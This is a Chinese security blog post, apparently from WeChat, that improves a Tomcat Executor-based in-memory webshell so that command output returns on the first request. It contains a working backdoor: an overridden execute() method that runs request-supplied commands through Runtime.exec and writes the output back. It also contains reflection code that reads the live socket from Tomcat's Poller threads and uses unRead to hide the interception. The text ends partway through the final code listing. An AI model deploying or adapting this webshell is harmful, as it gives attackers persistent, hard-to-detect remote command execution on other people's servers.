none;"><p>在《Executor内存马的实现》中我们通过修改NioEndpoint的Executor实现，成功完成了一个Container类型的内存马注入。</p><p>但是上文中我提供的代码并不够完善，其中有一个比较明显的问题，内存马的回显需要经过我们多次request才能够实现，我们如何解决这个问题？</p><p><span style="font-weight: bold;font-size: 26px;">正文</span></p><p><span style="font-weight: bold;font-size: 22px;">为什么会出现这种情况？</span></p><p>前文中我们提到，Tomcat的整体架构可大致分为两块，一部分为用于处理request的Connector，另一部分为具体实现处理逻辑的Container。</p><p>ps：前文中引用的图有问题。</p><p><img class="rich_pages wxw-img" data-ratio="0.47444444444444445" style="width: 662px;height: 314px;" data-type="png" data-w="1800" src="https://wechat2rss.xlab.app/img-proxy/?k=d2c03f64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibl5xM5puvjFYIfqPDKLC7skRXYzY5MtR2yVHNpw1licc1Lwjgn8UcKCw%2F640%3Fwx_fmt%3Dpng"/></p><p>由于处理逻辑过于复杂，为了节约时间，我按照自己的调试思路简单记录了一下：</p><p>首先NioEndpoint会从nioChannels中取出一个名为NioChannel的对象：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=bf00bbab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibA1KKwTOL42UCCU393a8Cic710jeby7QOMb2GDEP7D6EuAm07iatoLVvw%2F640%3Fwx_fmt%3Dpng"/></p><p>然后它将会调用poller进行事件注册：</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=4218a34a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibYviaRFgYmpvOleSIwPBl5Eauo4sHavgEC5GuftcKLRVNvK1y9zJ6PVg%2F640%3Fwx_fmt%3Dpng"/></p><p>实现register的逻辑如下，其中个人认为比较重要的是NioSocketWrapper的封装，与PollerEvent的注册。</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=d1a7d7a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibURNMPvgANliaBXWvbJcOOECyuDic0WzDibJbctO5hGW84ukmux8luF9kg%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=e77435b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRiblwEKa4CiaFauvoiaUicEbRiazaa94guoc90qMRLwkwQIia5kQia9TuXIRRXA%2F640%3Fwx_fmt%3Dpng"/></p><p>可以看到这个NioSocketWrapper是基于上文获取的NioChannel对象：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=dcce6d42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibiaqEqglzytcGkia9PsL5lCe7ecxLWlMWHg33GIftuBYQPAlR2FicMTYkw%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">addEvent：</span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> void addEvent(NioEndpoint.PollerEvent event) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.events.offer(event);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.wakeupCounter.incrementAndGet() == <span class="code-snippet__number">0L</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.selector.wakeup();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> synchronized boolean offer(T t) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.queue[<span class="code-snippet__keyword">this</span>.insert++] = t;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.insert == <span class="code-snippet__keyword">this</span>.size) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.insert = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.insert == <span class="code-snippet__keyword">this</span>.remove) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.expand();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code></pre></section><p>Event添加完成后 Acceptor调用accept方法</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=5dab5503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibQvpTE9iaAYRa8qA4mEiaSRbs74n8iaP439tJ1CXt00tiaOkI7SgFC4jXibA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=c1c0e7ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibuibibEzvXQGKVstlZC3mjw2V5nqZDKaMh5zxBt0Z3wxtXeScslH4KRSg%2F640%3Fwx_fmt%3Dpng"/></p><p>通过Poller的prosessKey方法发送给Executor进行相关execute操作：</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=f3eab790&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibAXTxVokhvOQqaGhmjhYYhfb6UCNm6eicMjG5bqdV8rBibAudnqJltLoQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=71b60022&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibd7FKyiaRDe3PCxn9ebVWnbMMInVrmAhw42L6cVnsJ9wFTfY8I0nS6yQ%2F640%3Fwx_fmt%3Dpng"/></p><p>而前文中提到，我们的恶意代码就在重写的execute方法中：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> execute(Runnable command) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            System.out.println(&#34;123&#34;);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> cmd = getRequest();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (cmd.length() &gt; <span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    Runtime rt = Runtime.getRuntime();</span></code><code><span class="code-snippet_outer">                    Process process = rt.exec(cmd);</span></code><code><span class="code-snippet_outer">                    java.io.InputStream <span class="code-snippet__keyword">in</span> = process.getInputStream();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    java.io.InputStreamReader resultReader = <span class="code-snippet__keyword">new</span> java.io.InputStreamReader(<span class="code-snippet__keyword">in</span>);</span></code><code><span class="code-snippet_outer">                    java.io.BufferedReader stdInput = <span class="code-snippet__keyword">new</span> java.io.BufferedReader(resultReader);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> s = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> tmp = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span> ((tmp = stdInput.readLine()) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        s += tmp;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (s != <span class="code-snippet__string">&#34;&#34;</span>) {</span></code><code><span class="code-snippet_outer">                        byte[] res = s.getBytes(StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">                        getResponse(res);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">                    e.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.execute(command, <span class="code-snippet__number">0</span>L, TimeUnit.MILLISECONDS);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p>执行完毕后，SocketProcessor对象会通过process方法将我们的socketWrapper送往真正进行socket处理的processor组件：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=048277fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibmOLfjyFWibUOGcib3syf5pmHaT4sJONfsVcpzicb3f2FXdvQObticRkYRg%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=1fb9f503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibdp31aAFF2Xe9wmUAgvIOVFmtQOxBhGzsqqtPr2HHnbNB4sqcReArUQ%2F640%3Fwx_fmt%3Dpng"/></p><p>socket处理：</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=50decb46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibboQdn2ibvLTJoN6IEG3RMRooqHYZ1u8b4fzHcSYyp813nIgtJUpDI5A%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=1c6e8be6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibcicqld2BhiabHe4p6RRDOlB4ZLfKs8llLfyh00n99ibzpMuZmgXW9XKuw%2F640%3Fwx_fmt%3Dpng"/></p><p>最终的read在fill()方法中实现：</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=c98e6c2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibgZBSibIn4x7FfDznp9Pia50Svhqn25alDuCpntVj4yticsEDDibDwnJJfQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> boolean fill(boolean block) throws IOException {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (log.isDebugEnabled()) {</span></code><code><span class="code-snippet_outer">        log.debug(<span class="code-snippet__string">&#34;Before fill(): parsingHeader: [&#34;</span> + <span class="code-snippet__keyword">this</span>.parsingHeader + <span class="code-snippet__string">&#34;], parsingRequestLine: [&#34;</span> + <span class="code-snippet__keyword">this</span>.parsingRequestLine + <span class="code-snippet__string">&#34;], parsingRequestLinePhase: [&#34;</span> + <span class="code-snippet__keyword">this</span>.parsingRequestLinePhase + <span class="code-snippet__string">&#34;], parsingRequestLineStart: [&#34;</span> + <span class="code-snippet__keyword">this</span>.parsingRequestLineStart + <span class="code-snippet__string">&#34;], byteBuffer.position(): [&#34;</span> + <span class="code-snippet__keyword">this</span>.byteBuffer.position() + <span class="code-snippet__string">&#34;], byteBuffer.limit(): [&#34;</span> + <span class="code-snippet__keyword">this</span>.byteBuffer.limit() + <span class="code-snippet__string">&#34;], end: [&#34;</span> + <span class="code-snippet__keyword">this</span>.end + <span class="code-snippet__string">&#34;]&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.parsingHeader) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.byteBuffer.limit() &gt;= <span class="code-snippet__keyword">this</span>.headerBufferSize) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.parsingRequestLine) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.request.protocol().setString(<span class="code-snippet__string">&#34;HTTP/1.1&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> new IllegalArgumentException(sm.getString(<span class="code-snippet__string">&#34;iib.requestheadertoolarge.error&#34;</span>));</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.byteBuffer.limit(<span class="code-snippet__keyword">this</span>.end).position(<span class="code-snippet__keyword">this</span>.end);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    int nRead = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.byteBuffer.mark();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    int nRead;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.byteBuffer.position() &lt; <span class="code-snippet__keyword">this</span>.byteBuffer.limit()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.byteBuffer.position(<span class="code-snippet__keyword">this</span>.byteBuffer.limit());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.byteBuffer.limit(<span class="code-snippet__keyword">this</span>.byteBuffer.capacity());</span></code><code><span class="code-snippet_outer">        nRead = <span class="code-snippet__keyword">this</span>.wrapper.read(block, <span class="code-snippet__keyword">this</span>.byteBuffer);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.byteBuffer.limit(<span class="code-snippet__keyword">this</span>.byteBuffer.position()).reset();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (log.isDebugEnabled()) {</span></code><code><span class="code-snippet_outer">        log.debug(<span class="code-snippet__string">&#34;Received [&#34;</span> + new String(<span class="code-snippet__keyword">this</span>.byteBuffer.array(), <span class="code-snippet__keyword">this</span>.byteBuffer.position(), <span class="code-snippet__keyword">this</span>.byteBuffer.remaining(), StandardCharsets.ISO_8859_1) + <span class="code-snippet__string">&#34;]&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (nRead &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (nRead == -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">throw</span> new EOFException(sm.getString(<span class="code-snippet__string">&#34;iib.eof.error&#34;</span>));</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>调用栈如下：</p><p><img class="rich_pages wxw-img" data-ratio="0.6454248366013072" style="width: 662px;height: 427px;" data-type="png" data-w="1224" src="https://wechat2rss.xlab.app/img-proxy/?k=a84f0e86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRib1sb6JCMuRR1hrDaicoEHpbGib2ZdCUh0anxYN9F2f7q3dovcMfN8QFrw%2F640%3Fwx_fmt%3Dpng"/></p><p>最终通过Socket读取到的最原始的request数据被放入各实例的缓存buffer中：</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=90fde205&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibEpe0IxiavsXCrC3iaAjNAgCcic7zdq0zLNsiasr3y6mtibXf5EUPQK6QRcw%2F640%3Fwx_fmt%3Dpng"/></p><p>最后调用invoke方法交给Container处理：</p><p><img data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=d9a6781d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibrxBxy0jFwiaJpaa78uqHqD8u6aYJkgEpk7OScOszfs5NAAy7JlsrqTw%2F640%3Fwx_fmt%3Dpng"/></p><p>so，观察一下前文的代码，我们执行的位置是在Executor，这个时候Socket流中的数据还没有被read，通过线程遍历获取到的request其实是前一次（或者前几次，跟线程数有关）的缓存数据，所以获取命令需要我们多次进行request请求。</p><p><span style="font-weight: bold;font-size: 22px;">艰难的解决之路</span></p><p>在写这个part之前，其实我并不知晓socket的核心处理点在何处。不得不说偏执是快速解决问题的最大阻碍，通过类似如下的调试代码，我逐一比对buffer部分的变化情况：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">byte[] bytes = <span class="code-snippet__keyword">new</span> byte[<span class="code-snippet__number">10000</span>];</span></code><code><span class="code-snippet_outer">ByteBuffer buf = ByteBuffer.wrap(bytes);</span></code><code><span class="code-snippet_outer">LinkedList linkedList = (LinkedList) getField(getField(getField((Poller)threads[<span class="code-snippet__number">5</span>].target,<span class="code-snippet__string">&#34;selector&#34;</span>),<span class="code-snippet__string">&#34;kqueueWrapper&#34;</span>),<span class="code-snippet__string">&#34;updateList&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span>(<span class="code-snippet__built_in">Object</span> obj : linkedList){</span></code><code><span class="code-snippet_outer">    SelectionKey[] selectionKeys =(SelectionKey[]) getField(getField(obj,<span class="code-snippet__string">&#34;channel&#34;</span>),<span class="code-snippet__string">&#34;keys&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> tmp :selectionKeys){</span></code><code><span class="code-snippet_outer">        NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp,<span class="code-snippet__string">&#34;attachment&#34;</span>);</span></code><code><span class="code-snippet_outer">        nioSocketWrapper.read(<span class="code-snippet__literal">false</span>,buf);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//new String(buf.array(),&#34;UTF-8&#34;);</span></span></code></pre></section><p>最终才发现，socket的处理点在Executor的处理之后而非之前。</p><p>从buffer中获取当次request的想法应该是幻灭了，那么从socket下手又如何呢？</p><p><span style="font-weight: bold;font-size: 20px;">Find Real Socket</span></p><p>之前我固执的认为，Acceptor组件应该为Container处理逻辑的核心，理应重点从其中寻找想要的对象。</p><p>但经过测试发现，从Accpetor中获取的Socket无一例外都已处于closed状态，无法重新read（即使通过反射修改其状态，EndPoint组件也会立即抛出异常。）</p><p>在重新审视Tomcat的处理逻辑后，最终在Poller中发现了我们的Real NioSocketWrapper对象：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=8b421610&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibDkwzXZ4iaaaPkJW4flJjK26wcpe5zDKW72Qy50aGJvoFAkwNnoQKkvw%2F640%3Fwx_fmt%3Dpng"/></p><p>通过其read方法可成功获取当次的request请求：</p><p><img class="rich_pages wxw-img" data-ratio="0.6169491525423729" style="width: 662px;height: 408px;" data-type="png" data-w="2950" src="https://wechat2rss.xlab.app/img-proxy/?k=af6aa511&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibiaicsl2DltPggqxzicM9E9mN3vCnSX24UebqLIUgs20nLzql1icILG45Gg%2F640%3Fwx_fmt%3Dpng"/></p><p>但这会导致一个问题，由于在Processor组件对socket处理之前我们就已进行过一次read，后续的处理逻辑势必无法再次获取已读取过的request数据：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=980c2833&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRib9zAzHP7JWsibuyjPTj3MibQ0OiaABy2Pkr30HVw2WdH6icp9NNBgLpKoIA%2F640%3Fwx_fmt%3Dpng"/></p><p>这该如何解决？</p><p>在翻看代码的过程中，我发现NioSocketWrapper父类SocketWrapperBase中，有一个方法名为unRead：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 662px;height: 407px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=b590759b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibEMRxlAoZ3BknkH7F3LzaxnyQLKiaDzfD7iaTH9Eet5sNqph3icicdoiacicA%2F640%3Fwx_fmt%3Dpng"/></p><p>通过查找资料后发现与猜想中的作用大致相同：将已读取过的read数据重新放回socket。</p><p><img class="rich_pages wxw-img" data-ratio="0.5003503854239664" style="width: 662px;height: 331px;" data-type="png" data-w="2854" src="https://wechat2rss.xlab.app/img-proxy/?k=56f7d5ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibxe3rVTm7UX3F7bHoxHubAKkwe3r5asBj3dKg3yza2PsP6hcrKoTmPg%2F640%3Fwx_fmt%3Dpng"/></p><p>经过测试该方法可行，于是最终实现的代码为：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getRequest2(){</span></code><code><span class="code-snippet_outer">    Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (threadName.contains(<span class="code-snippet__string">&#34;Poller&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        byte[] bytes = <span class="code-snippet__keyword">new</span> byte[<span class="code-snippet__number">8192</span>];<span class="code-snippet__comment">//Tomcat的NioSocketWrapper中默认buffer大小</span></span></code><code><span class="code-snippet_outer">                        ByteBuffer buf = ByteBuffer.wrap(bytes);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                            LinkedList linkedList = (LinkedList) getField(getField(getField(target, <span class="code-snippet__string">&#34;selector&#34;</span>), <span class="code-snippet__string">&#34;kqueueWrapper&#34;</span>), <span class="code-snippet__string">&#34;updateList&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> obj : linkedList) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                    SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, <span class="code-snippet__string">&#34;channel&#34;</span>), <span class="code-snippet__string">&#34;keys&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">for</span> (<span 